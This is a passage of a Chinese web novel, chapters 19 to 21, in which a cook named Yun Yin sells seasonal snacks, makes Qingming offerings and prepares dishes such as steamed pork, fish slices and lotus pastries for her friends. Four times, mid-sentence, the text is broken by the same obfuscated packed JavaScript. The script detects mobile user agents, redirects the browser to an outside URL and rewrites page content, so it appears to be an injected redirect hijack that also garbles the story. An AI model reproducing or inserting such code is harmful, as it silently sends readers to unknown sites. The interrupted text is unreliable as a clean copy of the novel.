凉皮没有引起罗蔓的惊奇，倒是晶莹剔透的钵仔糕一出现就引起了她的注意，罗蔓用盘子上的竹签戳一个起来，颤颤巍巍的钵仔糕如琥珀般，里面的红豆清晰可见。 她放入嘴里细细品尝，口感劲道爽口，又软又糯，红豆的甜香充盈整个口腔，咬一口让人回味无穷。 罗蔓看着盘中摆着的钵仔糕道：“这个点心倒是别致。” 云音笑笑：“我做了红豆的，还可以做绿豆的，水果的，花的也可以做，比如桂花，桃花等。” 罗蔓吃完一块钵仔糕，看见宋时拿着一碗凉皮吃的津津有味，边吃还边夸赞道：“阿蔓，你尝一下这个凉皮，味道很清爽，芝麻酱的味道很浓郁，咸淡适宜，非常美味。” 罗蔓听了他的称赞，也拿了一碗尝了尝，不一会儿把一碗凉皮吃完了，她擦了擦嘴道：“味道确实不错，不过我还是更喜欢青团和钵仔糕。” 云音见罗蔓喜欢，她微微点头道：“不知道罗娘子觉得这几种食物是否能与你合作。我可以把方法交给你，到时候你卖出去后我们分成。” “不知妹子想怎么分成？” 云音道：“三成利润阿蔓姐觉得如何？除了青团有时令，其他的钵仔糕和凉皮都不限季节都能售卖。并不仅仅只能在寒食节售卖。” 罗蔓仔细琢磨一会儿后道：“三成利润可以，妹子是个公道的人，那我也爽快，就这样定下吧。” 云音与罗蔓一起去了厨房，她把带来的东西拿出来，教罗蔓怎么做钵仔糕和凉皮。 青团的做法很简单，只是需要加入艾叶而已，她也一并带过来了。而钵仔糕和凉皮步骤比较麻烦，她这次直接用澄粉和粘米粉，至于澄粉的制作，她也一起交给罗蔓，以后他们店里可以直接制作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178754|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他们店里人多，洗面也忙得过来，云音还可以找她买澄粉，不用费心费力自己洗面。 看着锅里已经蒸好的钵仔糕，云音点点头道：“罗娘子之后需要专门请人做一批装钵仔糕的小碗，这个大碗还是太大了。” 罗蔓看着新鲜出炉的钵仔糕道：“我知道，等会就去让人买，今日多谢妹子，我们去签契书。” 云音洗了手随罗蔓回她书房，看看她写的契书，确认没有问题，签下双方名字，又找宋时做了见证，一人一份各自保存。 聊完正事云音又提起盗匪的事，她对罗蔓道：“好叫罗娘子知道，盗匪一事已经有了进展，应该会在寒食节之前解决。” 宋时听到二人的谈话，连忙道：“哎呀我今日也是想来与罗娘子说这一消息，今日周县尉抓了不少人进城，听说是之前在管道上打劫的盗匪，等寒食节清明节过了，县衙会判决他们，你们也不用担心。” 云音没想到盗匪今日已经全部抓了，看来周昌他们的速度还挺快的。她听着宋时讲述抓捕经过，不禁放松几分，看来盗匪确实是解决了，不然宋时应该也出不了城。 知道了盗匪的消息，又与罗蔓签好契书，云音打算告辞，对着仍在喝茶吃点心，时不时就要与罗蔓说几句话的宋时道：“宋郎君你慢慢吃，我先走了。” 宋时挥挥手道：“慢走不送哈，下次再一起吃茶聊天哈。” 云音看着他追着罗蔓而去，摇了摇头转身离开。 随着盗匪被县尉解决，龙安县附近又变得如同往常一样安全，而官道上也开始有商队行走了。 云音也把她那开了一天，就被迫歇业的店铺重新开张，还在官道旁摆了个牌子，写着寒食节特供，画了青团，钵仔糕以及凉皮的图片，让过路的人一眼看见。 路过的商队看到管道上放的招牌，总是有人会被吸引，见上面写的钵仔糕1文一个，青团2文一个，价格很便宜，图片画的也惟妙惟肖，看着让人垂涎欲滴，有不少人会派人来买一份尝一尝。 云音和张林也忙起来了，需要打包的，云音用油纸包起来让张林帮忙送过去，而来店里吃的由她负责。 至于凉皮则需要云音自己凉拌，这个张林目前还做不了，等她再教一段时间，他可以负责拌凉皮了。 随着寒食节的到来，龙安县附近的饭馆也关门歇业，而云音卖的寒食节特供食物，则非常受欢迎。虽然价格便宜，但成本也不贵，除了糖有点贵外，其他成本都还好，算下来两个钵仔糕能赚一铜板。 而每个买钵仔糕的客人都会十个、十几个的买，至于商队买的就更多了，好在云音早有准备，提前做了许多放着。直到寒食节过去，云音准备的钵仔糕和青团也销售一空，连凉皮也全部卖完，还有许多客人说想要寒食节之后也能吃到这些食物。 云音自然是答应他们啦，除了青团还能吃一个多月，其他的食物可以卖很长一段时间。 送走最后一批客人，云音拍拍腰，拿出一大堆铜钱清点起来。 19. 第19间客栈 哗啦啦的铜钱声音好听极了，云音一边数一边串成串，所有铜钱全部清点好，总共有三吊，另外还有四百文零散的铜钱。 云音算了一下成本，再扣除要交的税，利润有五百文，能赚这么多她很满足，不枉费她辛辛苦苦做了那么多钵仔糕和青团了。其实钵仔糕和青团都没有凉皮赚的多，不过钵仔糕和青团的做法比凉皮简单方便，赚的少些她也是能接受的。 她把一大包铜钱放回钱匣里，加上这次的钱，如今她也有5贯900文了，虽然还要交税，实际剩的钱没那么多，但总算看到些许希望。 这里面赚的最多的还是蘑菇酱，每次罗蔓找她买蘑菇酱都是几十罐，她自然也希望能多销售些蘑菇酱出去，可这次路过的商队都是之前因盗匪滞留的人，他们着急回去，并不想多带累赘的东西。 好在也有几个商队的人尝了她做的蘑菇酱后，很满意，打算下次再去西域时，找她多买些带去西域。 虽然没有立刻定下来要买，好歹也有了意向，云音还是抱有期待的。况且她的饭摊已经重新开张，盗匪问题又已经解决，后面继续卖饭她也不用担心没有生意。 翌日一早，云音从她的简陋小床上爬起来，她摸了摸有些薄的褥子，下面还垫着茅草呢，如今她也有些钱了，也是时候去打一张床，买些被子了。 之前她问过，一张木床便宜的也要500文，贵的那就不等了，云音之前不舍得花这么多钱买床，只用木板随意搭建了一番，有个能睡的地方就凑合了。 如今也算安稳下来，钱也存了一些，拿出一些改善生活还是有必要的，不然赚那么多钱做什么呢。 洗漱过后，云音给了张林钱，让他去镇上买肉和定床，今日是清明，也是能开火最后时间，她要准备一些祭祀用的菜。 拿着张林买回来的肉，云音把之前炒好磨好的米面拿出来，倒入盆中，又倒入磨好的香辛料，比如八角桂皮啥的，充分搅拌均匀制成蒸肉粉。 接下来是腌肉，新鲜的五花肉切成厚片，加入准备好的调料腌制一段时间，腌好后倒入准备的蒸肉粉搅拌，就可以上锅蒸。 排骨用同样的方法处理，至于下面垫的菜能用的还是挺多的，以前她多用土豆，可惜大昭目前还没发现土豆，只能换其他的菜，芋头莲藕都是不错的选择，不过云音有更合适的选择，那就是艾蒿了。 早上新鲜采摘的艾蒿洗干净，用水多淘洗几遍，也可以用盐来清洗，去除里面的杂质和苦涩味，随后快速焯水拿出来放入冷水，锁住它的翠绿。 然后放入香油让艾叶均匀裹上油，之后倒入蒸肉粉均匀涂抹在艾叶上，放入锅中蒸一段时间。 最后在蒸熟的粉蒸肉上铺上蒸好的艾叶，在蒸几分钟，最后倒入调好的葱姜酱汁，一道美味的粉蒸肉就做好了。 云音把蒸好的粉蒸肉倒扣到盘中，上面摆的整整齐齐的蒸肉，每一片都裹上了浓郁的米粉，肉片肥瘦相间，米粉油润，光是闻着就食欲大开。 她挑出一片尝了尝味道，又糯又香，肉肥而不腻，而且蒸的火候正好，入口即化，调的蒸肉粉的味道也极好，香甜可口，令人垂涎欲滴。 云音吃了一块蒸肉后，又去夹里面的艾叶，艾叶沾染了蒸肉的油气，也变得油润起来，一口咬下粉糯中带着艾叶特有的清香，配上蒸肉真是绝了。 粉蒸艾叶本身已经很好吃了，但是搭配蒸肉，侵染上肉的香气，使艾叶的味道更为突出，让这道粉蒸肉有了独特的味道。 云音尝过后，又让张林也尝了尝，他也赞不绝口，至于粉蒸排骨，她并没有在下面放菜，与粉蒸肉又是不一样的风味，但仍旧非常好吃。 尝过这两道菜，云音带上蒸好的菜与祭祀用品，与张林一起来到河边进行祭祀。 不论是张林还是她，他们亲人的坟墓都不再此处，只能在河边祭拜一番，聊表心意。 云音点香烧纸，不一会儿河边烟熏缭绕，她拿出准备好的菜以及青团，郑重磕了三个头，把这段时间的经历也讲述了一遍。 看着逐渐燃烧的香，她擦了擦眼泪，小声道：“奶奶，爸爸，我在这里过得很好，你们不用担心我，以后我会过得更好的。” 祭拜结束，云音检查没有火星残余，拿着祭拜完的菜回了饭摊，此时天色已经大亮，官道上已经有行人路过了。 云音连忙把招牌拿出来挂上，又把熬好的骨头汤打开，一股香味扑面而来，她招呼张林道：“今天煮面就由你来吧，我看看你的手艺如何了。” 张林洗了手，接过面团道：“放心吧，云娘子，我已经练习过了，你放心交给我吧。” 这是云音一早就决定好的，以后早上煮面的活交给张林负责，中午和晚上的饭食，还是她来，这样她也不用每日从早到晚忙个不停。 而张林也只需要早上负责饭摊的事情，下午可以去忙田里的活。 云音看着他抻面的动作没有什么问题，抻出来的面也劲道爽滑，煮面的时间和火候也把握的很到位，她接过张林递过来的面，吃了一口，然后道：“味道不错，那以后早上煮面的活就交给你负责了。” 张林连连点头道：“放心吧，云娘子，我可以的。”张林一脸兴奋，希望能得到客人的夸赞，也能为云音多分担些。 二人正说着话，有路过的行人闻到弥散的骨头汤香，寻着味道找过来，看了饭摊一眼道：“掌柜的，这面怎么卖的？” 云音招呼那人道：“阳春面和葱油拌面都是6文，炸酱面是8文。” 炸酱面是云音新推出的面，用的是她熬制的蘑菇酱，再拌上其他调料，也是一道香味十足的面。 炸酱面的酱香味十足，也给了口味偏重的人一个选择，喜欢清淡的人可以选择阳春面和葱油拌面，喜欢味道重一些的，炸酱面是很好的选择。 云音给客人介绍几句几种面的区别，那人要了一份阳春面。 面条一上桌，他便闻到一股肉香，他翻了翻面条，虽然没有在里面看到肉，不过整碗面里面油也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178755|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很足。他喝了一口汤，热热的汤一下肚，一大清早沾染上的冷意尽数消散，他连喝好几口，才夹了一筷面放入嘴中。 面条柔韧有弹性，浓郁的麦香与骨头汤融合，让人不知不觉中沉醉其中。 他快速吃完一整碗面，又把汤也全部喝完，仍旧觉得不满足，他连忙叫来云音道：“掌柜的，再给我上一碗炸酱面吧。” 云音连忙让张林再做一碗炸酱面，那人吃了这碗酱香浓郁十足的炸酱面，点头道：“味道真不错，掌柜的，你这炸酱卖吗？” 云音一听有生意上门，立马放下手里的活，坐在那人面前道：“自然卖的，您想买多少？” 原来这人是去龙安县探望闺女的，路过这里被香味吸引，这才坐下吃了两碗面。 云音给他说了价钱，那人虽然觉得略有些小贵，但仍然花钱买了两罐蘑菇酱带着离开。 随着这老者离开，来云音饭摊关顾的人越来越多，都是被骨头汤浓郁的香味吸引过来的，云音顺便也给众人介绍她饭摊的其他菜色，若是以后中午路过，也可以来这里吃饭。 一上午的时间，就在这煮面卖面中度过了，云音坐着休息了一会儿，准备午食要用的食材，这时几天不见的傅望骑着他的那匹黑头大马过来了。 “云娘子，好久不见，我又来吃你做的饭了。”傅望从马上下来，递给她一个食盒道，“这是我从县城买的点心，你可以尝尝。” 云音接过食盒，不好意思道：“你来照顾我生意，怎好让你破费，既然你送我点心，那也尝尝我做的点心吧。” 她各端了一盘青团和钵仔糕放在他面前道：“尝尝吧，味道还不错。” 傅望看着着翠绿诱人的青团，又看向另一盘晶莹剔透的钵仔糕，挑眉道：“原来这些糕点是云娘子做的啊，我在县里看到过，可受欢迎了，可惜我想买来尝尝时，已经卖完了。” 傅望夹起一块青团吃下，豆沙的清甜让他眉眼不自觉舒展开来，他抿了抿嘴道：“云娘子做的点心很好吃，甜而不腻，是我喜欢的味道。” 他又夹了一块钵仔糕吃下，微微甜的口感虽然让他满足，但他仍旧还是喜欢青团的甜，他把所有糕点全部吃完，对云音道：“云娘子，青团可以打包吗？吃完饭我要打包带走。” 云音没想到傅望除了喜欢吃鱼，也这么喜爱甜食，她笑了笑道：“自然可以啦，对了，我做了新的菜式，你要不要尝尝？” 傅望颔首道：“云娘子的厨艺，我自是相信的，那就来一份酸菜鱼，然后上一份你说的新菜。” “好嘞。”云音从水缸里抓出一条鱼快速处理干净，片成一片片薄厚相当的鱼片，又拿了一把酸菜，开始做起酸菜鱼来。 至于粉蒸肉和粉蒸排骨，此时已经在锅里蒸上了，热气腾腾的白气弥散在厨房，整片空间都散发着蒸肉的香气。 傅望也闻到了那股香味，使劲嗅了嗅，这么香的味道，让才吃了点心的他，仍旧被牢牢吸引，他一脸期待等着她的新菜式。 20. 第20间客栈 云音做菜的速度很快，粉蒸肉和排骨蒸好时，她的酸菜鱼也做好了，她给傅望端过去道：“你先吃吧，我就不招呼你了。” 傅望看了眼越来越多的人过来，他连忙道：“云娘子，你去忙吧，不用招呼我。” 他拿起筷子，先尝了一口一直引诱他的粉蒸肉。 等云音忙过这阵，再看傅望时，他已经把粉蒸肉和粉蒸排骨吃的一干二净，倒是酸菜鱼还有剩。 云音给他上了一壶茶道：“傅郎君今日怎么出城了？” 傅望放下碗筷道：“今儿是清明，我想着出来祭拜家人，这不正好想到你今日应该开火了，就过来吃个饭。” “这两日寒食节，一直没能吃到一口顺心的饭菜，好不容易开火了，自然想来吃一吃云娘子的手艺。倒是没想云娘子做了新的菜色，比起酸菜鱼又是不同的口味，猪肉肥而不腻，配上艾叶，更为清爽，搭配上蒸肉粉，口感软糯绵软，真的很好吃。” 傅望看着桌上的酸菜鱼长叹一口气。 云音在他桌前坐下道：“傅郎君叹什么气？你不是很喜欢今日的新菜吗？” “想到又要有好长一段时间吃不到云娘子的饭菜，觉得心中怅然。” 云音愣了片刻道：“傅郎君要离开了？” 傅望点头道：“是啊，我兄弟已经来信，过两天就能到龙安县，到时候我们也要出发前往西域了。” 云音也有些怅然，想到又有一个食客要长期离开，心里也是说不出的惋惜。不过想到他答应帮自己带些种子，心中又升起期盼，她笑了笑道：“那就祝傅郎君一路平安顺遂。” 傅望露出笑颜道：“那多谢云娘子的祝福。” 他看着眼前这并不大的饭摊，犹豫片刻还是问：“我听说云娘子想要建客栈？” 云音起身的动作微微一顿，她诧异道：“傅郎君从何听说的？” 傅望看了眼张林道：“只是有一次偶然听张兄弟提及过，我想着云娘子想要建客栈，需要花费不少，我也没有其他能帮得上的，正好我认识不少商队，可以帮你介绍一些客户。” “云娘子不是想多卖些蘑菇酱吗？我正好认识一些常年在外奔波的商队，如今还有几人在龙安县停留，若是云娘子有想法，我可以帮你引荐一二。” 云音确实是想多卖些蘑菇酱，不过她如今并没有那么多蘑菇可以用，新鲜的蘑菇又还没到时候，不过客户还是需要的，她莞尔一笑道：“那多谢傅郎君了。” 傅望摇头道：“没什么，我也就帮忙牵个线，其他的都需要你自己去谈，不知云娘子何时有时间，我可以帮忙引荐。” 云音想了想道：“傅郎君过两天要离开龙安县，既然这样，那明日我随你前往龙安县吧。” 傅望颔首道：“既然如此，那我明日来接你。” 云音摇头道：“不用如此麻烦，傅郎君告诉我地址，我去找你。” 就在二人商量明日见面时间时，一阵哒哒马蹄声从远而来，还时不时有人高呼，引得路过的人频频看去。 云音也被这阵声音吸引，抬头看去，就见远处一个熟悉的身影，她挑眉道：“宋时？” 宋时也眼尖看到云音的饭摊，他招呼同窗道：“就是这里了，快点下马，我都要饿死了。” 他率先下马把马拴好，高声对云音道：“云娘子，我带朋友来关顾你生意了，你这饭摊可真难找，我们跑了好久才看到呢。” 云音重新搬出一张桌子，招呼他坐下道：“宋郎君怎么今日过来了？” “这不是清明踏青嘛，我想着你之前说在官道开了饭馆，我就想来尝尝你的手艺，哪知跑了好久才看到，我还以为走错路了呢。” 宋时招呼朋友坐下，又看了看周围的环境道：“云娘子，你这里也太简陋了吧，吃饭也只能在外面吃。我们倒是没什么问题，可等会有女客过来就不太方便了。” 云音拿一壶茶放在桌上道：“什么女客？” 宋时眉开眼笑道：“我把罗娘子叫出来啦，还有我妹妹宋萱，她们在后面呢，一会儿过来。” 云音挑挑眉道：“等会客人吃完就会走的，他们不会一直停留的。” 宋时摇了摇头道：“算了，我去附近看看，我记得附近是有一条溪流的，若是风景好，也可以曲水流觞。” 他带着人前去察看环境，离开前对云音道：“云娘子，我好不容易才把罗娘子叫出来的，你拿出你的拿手好菜，让我好好招待罗娘子。” 宋时身旁站着的一个清秀少年听到这话，拍了他肩膀道：“难道我们不值得你好好招待吗？” 另一个胖乎乎的少年挤眉弄眼道：“你哪有罗娘子重要，就算你以后是他妹婿，那也是你讨好他，而不是他讨好你啊。” 宋时被他们说得脸都要红了，他瞪了他们一眼道：“谢彦，林晖，闭上你们的嘴，赶紧跟我一起去找个好地方。再说我今日就不请客了，我可是特意带了好酒，你们还想不想喝了。” 云音看着宋时带着他的小伙伴，吵吵闹闹往溪边跑去，她与傅望对视一眼，不由扑哧一声笑出来，她叹口气道：“少年人真是活泼，突然觉得自己老了呢。” 傅望看着眼前貌美如花的女子，好奇道：“云娘子多大了？” 云音不好意思笑道：“已经二十啦。” 傅望摇摇头道：“不过二十，也就比我小三岁，我看云娘子与朝阳一般，很是活泼可爱。” “是吗？”云音听到傅望的夸赞，有些不可置信，她一直觉得自己就像夕阳，没有什么活力，以后要为了达成父亲的遗愿而活。 没想到来了大昭短短几日，在他人眼中，自己已经变了一番模样。 傅望见云音不相信的模样，他连忙道：“当初刚见到你时，我看你有功夫在身，又在官道上摆摊，还以为你有什么不可告人的目的。” “后来吃了你好几次饭，看到你做饭时的幸福开心模样，我才确信当初是我误会你了。” 他不好意思笑笑道：“你确实只是一个有些手艺的小娘子，在你的饭菜中，我感受到了温暖与安稳。不仅饭做的好吃，人也开朗活泼，让我在你身上仿佛看到了清晨初生的太阳，很温暖。” 云音没想到她的一句反问，引来了他如此多的赞美，她红了红脸颊道：“傅郎君可真会夸人，就算你如此夸我，我也不会给你免单的。” 傅望笑着摇头道：“哪需要云娘子免 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178756|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单，能吃到你做的饭，是我的幸运。” 就在这时有人叫她结账，云音连忙起身忙碌，傅望收回视线喝着茶享受着此时难得的安逸时光。 送走所有客人，云音让张林去休息，她则给宋时准备午食。 粉蒸肉和排骨这些放到锅里蒸上就好，酸菜鱼和椒盐虾做起来也很快，想到缸里还鲜活的一条鲈鱼，她想了想还是决定做一道有名的菜，也不枉费宋时特意带人来给她捧场。 想到宋时刚刚送给她的水果里面竟然有橙子，也不知他从哪里得到的，如今这个时候还能有橙子。他如此大方，她也要让他尝尝她的手艺，好叫他不白来一趟。 可惜傅望不吃鱼生，不然还可以让他也尝一尝。 说做就做，她先做金齑玉脍中的金齑，其实这道菜最适合的时候是八九月时，那个时候的鲈鱼肥美，古法中记载的金齑是用橘子和板栗做成的，不过后来简化用橙子做金齑。 古法记载，橘子皮切碎，生姜去皮切碎，与梅肉一起捣碎。然后把米饭碾成泥，加入盐、蒜一起捣碎，若是有栗子，则需要把栗子一起捣碎加入。 如今云音只有橙子，只能用后来的简化版本，把橙肉捣成泥，加入细盐调匀，金齑玉脍里的金齑酱就做好了。 至于鱼脍云音打算把其他菜都做好后，最后再片鱼，这样做出的鱼脍才更新鲜美味。 云音着手做其他菜，等罗蔓和宋萱乘坐的马车到时，她已经把绝大部分菜做好了。 宋时也从河那边走了过来，闻着弥散的香味道：“真香啊，肚子已经咕咕叫了。云娘子帮忙把菜放到食盒里，我让寿儿过来拿。” 他招呼刚到的罗蔓道：“罗娘子随我来吧，我们去河边吃，顺便赏赏景。” 罗蔓对云音无奈一笑道：“真是给你添麻烦了，我本来是想一个人来的，没想到宋郎君也要来，他带了女眷，想让我陪一陪，我想着平日也受他诸多照拂，就答应与他一同前来了。” 云音听到她的话，摇头道：“哪里的话，阿蔓姐特意来看我，宋郎君也照顾我生意，我欢迎还来不及呢。” 她看了眼站在罗蔓身后腼腆的小娘子，笑了笑道：“你们随宋郎君去吧，我这边也该上菜了。” 她说完动手快速在鱼头后面切一刀，放入水中让鱼体内的血流出，这样肉质会更为雪白。然后去鱼骨鱼皮，剩下的鱼肉切成透光的薄片，卷成花的形状放在瓷盘上，至于古法中记载的紫花香薷，云音目前还没发现，不过她也可以用薄荷叶替代，就是紫苏还不到时候，不然加上紫苏才更有风味。 云音把在山里采摘到的薄荷叶切成碎沫，之前剩下的橙子皮也一起切碎，撒在摆放好的鱼片中心，当作花蕊放入，如此一道有名的鱼脍就做好了。当然这与古法中记载的金齑鱼脍还是有些差异，不过即便如此，这道鱼脍的味道也还是不错的。 云音把鱼脍放到食盒，提醒寿儿道：“这道菜要吃新鲜的哦，你记得提醒宋郎君。” 寿儿接过食盒，连忙应声道：“我知道了，多谢娘子。” 云音把其他菜也装入食盒，继续去做饭后点心，这也是一道有名的点心，不过做起来很繁琐，好在时间充沛，她不用着急。 21. 第21间客栈 在溪水边选好地方的宋时，指挥着书僮把食床摆放好，然后把食盒里的菜拿出来放到食床上。 金齑鱼脍一拿出来就吸引了宋时的视线，薄如蝉翼的鱼肉如同绽放的牡丹盛开在瓷盘间，点点翠绿犹如蜻蜓点水，盘中摆放的金齑如同初生的太阳映照在鱼脍上，透过透明的鱼肉仿佛能被其灿烂的颜色灼伤。 宋时看到这如同一幅画般的鱼脍，情不自禁咽了咽口水，还是一旁的林晖哇的一声，把他从震撼中惊醒。 林晖指挥着书僮把所有菜上座，招呼众人道：“快点坐下，鱼脍要趁着新鲜吃，才好吃，时间久了就不好吃了。” 宋时连忙拿起筷子，伸手朝鱼脍夹去。鱼脍切的薄而透亮，放到眼前仿佛能穿透鱼肉，看到对面的景色一般。晶莹剔透的鱼肉蘸上金黄的橙子酱，甜中带着微酸在口中绽开。 鱼生鲜嫩柔滑，肉质紧实爽口，吃到最后唇边只剩下清凉的滋味，那正是薄荷的清香。 这道鱼生让人感叹鱼肉之鲜美，不怪乎有那么多人爱吃鱼脍。 宋时伸手的动作很快，除了不爱吃鱼生的谢彦，桌上其他人动作迅速，把这一盘栩栩如生的牡丹花鱼生吃的一干二净。 吃完后林晖还在一盘嚷嚷道：“这一盘分量也太少了，我还能再吃一大盘。” 宋时也一脸意犹未尽，他点头道：“确实有点少，不过做鱼生的鱼也是很有讲究的，鲈鱼上佳，鳜鱼次之，鲫鱼的肉质鲜美，可惜鱼刺较多，需要做鱼的人刀工了得才行。” “如今还不是鲈鱼最为非美的季节，云娘子能寻到一条鲈鱼，也是我们有口福。” 罗蔓擦了擦嘴，笑着点头道：“而且云妹子的刀工也是极好的，比我的刀工好太多，我是切不了这么薄的鱼片。” 宋时听到罗蔓的话，不赞同道：“云娘子的刀工确实一绝，但罗娘子你的也不差，我就爱吃你做的羊肉。” 罗蔓并不理会他，接着夹了一筷子粉蒸肉，油润绵软的肉一入口就让她眼睛眯起，肥瘦相间的肉在嘴里融化，甜糯的米粉夹着肉的香甜，让她想立马来一碗米饭。 “宋妹子，你尝尝这个，味道也很好吃。” 宋萱看了眼粉蒸肉，皱了皱眉道：“我不爱吃肥肉。” 罗蔓极力推荐道：“一点也不腻，你尝尝就知道了，下面的艾叶也好吃，一点苦涩的味道都没有，只能尝到一股清香。” 宋萱犹豫半晌还是尝了一口，果然如同罗蔓说的那样，好吃极了，她快速吃完一块道：“云娘子的厨艺果然不俗。” 宋时看着已经没几块的粉蒸肉道：“这个菜配饭才是最美味的，我真该早点来找云娘子的。” 这边几人吃的心满意足，另一边的云音正在准备荷花酥的材料。 荷花酥是一道有名的传统中式点心，以其形如荷花，花瓣层层绽放，酥香诱人而闻名。 做法繁杂，想要形成层层绽放的花瓣，油酥的制作是很关键的一环。 低筋面粉加入猪油搅拌均匀，揉成面团放在一旁醒一段时间。在大昭不像现代那般方便，想要低筋面粉就能直接买到，云音想用低筋面粉还需要过一道工序，那就是把面粉放到锅中蒸一下，这样出锅后的面粉就是低筋面粉了。 做好油酥，接下来就是做水油皮，水油皮就不用使用低筋面粉，普通面粉就可以。 倒入面粉、猪油、糖以及红曲粉，加水揉成面团，放置一旁醒一醒。 红曲粉是用来调色的，这样做出来的花瓣才会呈现出粉色，没有红曲粉也可以用火龙果汁替代，不过云音自然是没有火龙果汁的，好在红曲粉的颜色也很漂亮。 醒好的面团和油酥分成小剂子，水油皮包裹住油酥擀平，锁住边角重复对折，让它形成层次。包好的酥皮放一边再醒一段时间，包入馅料揉成圆形，然后在它顶部划上三刀，深至馅心，让面团形成六瓣。 馅料可以使用豆沙馅，也可以用椰蓉，因为之前做青团做了不少豆沙，云音这次也就直接使用豆沙馅。 此时在锅中倒入油，油温有三成热时，把面团放在漏勺中，放入锅中慢炸，直到花瓣绽开，酥层分明时捞出，栩栩如生的荷花酥便出现在眼前。 把一朵朵绽放的荷花酥放到白瓷盘上，若是夏季还可以放上荷花作为点缀，那更是让整盘点心更加清新优雅，云音用了其他食材雕刻绘画，让这份点心如同画卷一样。 云音做好一盘，让寿儿给宋时他们送去，又把剩下的荷花酥也一一炸好，装盘给傅望送去。 之前云音在炸荷花酥时，傅望就被吸引，看着一道道荷花成型，他的眼中满是惊叹。 接过惟妙惟肖的荷花酥，傅望一时间不忍破坏，他看了许久在云音催促时，才夹起一筷子尝了尝，香甜酥脆，一口咬下那层层花瓣就掉落口中，仿佛一朵绽放的荷花融在喉间。 豆沙的甜是那点睛之笔，吃到最后，只剩下甜滋滋的香味。 傅望吃完一个荷花酥，久久没能回过神来，他叹了口气道：“吃了云娘子的点心，怕是我送你的点心拿不出手了。” “荷花酥，荷花酥，吃着它就像吃下了整个夏天一般。” 云音听到他的夸赞，笑得眼睛都眯起来了，荷花酥其实做起来不难，只是很繁琐，需要形成层层花瓣，控制油温也很有讲究，哪一点没做好，就不能让花瓣成型。 好在这道点心云音做过不止一回，已经很有心得了，她递给傅望一杯清茶道：“一杯清茶配点心，味道会更好哦。” 傅望看着茶杯中起起伏伏的茶叶，与他们平日喝的茶完全不同，他微微抿了一口，茶叶的苦涩冲淡了嘴里的甜腻，回味中却又带着甘甜，确实极为相配。 他一边喝茶一边吃着荷花酥，二人就这样静静坐着，享受着惬意时光。 微风吹过田野，吹到溪水边溅起淡淡涟漪，溪边的几人此时也已经吃完午食，正在喝茶聊天。 宋时紧紧挨着罗蔓，与她介绍他从前吃过的美食，宋萱则小声与谢彦谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178757|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论诗歌，只有林晖独自一人望着戏中悠闲自在的鱼儿发呆。 寿儿就在此时，把食盒放在了收拾干净的食床上，刚刚还在发呆的林晖惊讶出声道：“天啦，好漂亮啊。” 层层分明的荷花绽放在眼前，此时明明是春天，却让人宛如来到荷花绽放的夏天。 宋萱被林晖惊呼声打断，她连忙回头就看到那栩栩如生的莲花摇曳在她眼前。 她也被这层层叠叠如同真的荷花酥给吸引住了，好半晌方能回神，她喃喃道：“这好似一幅夏日荷花图，若不是现在还是春天，我还以为当真是真的荷花呢。” 罗蔓也被这荷花给惊艳到了，不过她也只是吃惊片刻，就回过神来，她之前就觉得云音来历不凡，尝过金齑鱼脍，又看到这盘点心，此时她心中更加确定，她果然来历不凡。 宋时倒是没有他们那般惊讶，看过宛如牡丹花盛开的金齑鱼脍，此时再看到如同真的荷花的荷花酥，已经不能激起他的震惊，他只觉得果然不愧是云娘子，就算说她会宫廷菜，他估计也不会吃惊。 宋时夹起一筷子放到罗蔓碟子上道：“吃吃看吧，云娘子今日如此盛情款待，我们也要用心品尝方不负她的一番心意。” 几人连连点头，就连此前没被鱼生惊艳的谢彦，也不得不称赞一句厨艺已经出神入化。 寿儿把食床上的茶端走，又重新端了几杯新茶道：“云娘子说，清茶配点心味道更佳，郎君娘子们不如尝尝。” 宋时拿过茶杯，喝了一口，微微皱眉道：“好苦。” 他连忙夹起一块荷花酥吃下，香甜的点心瞬间压下那连绵的苦涩。 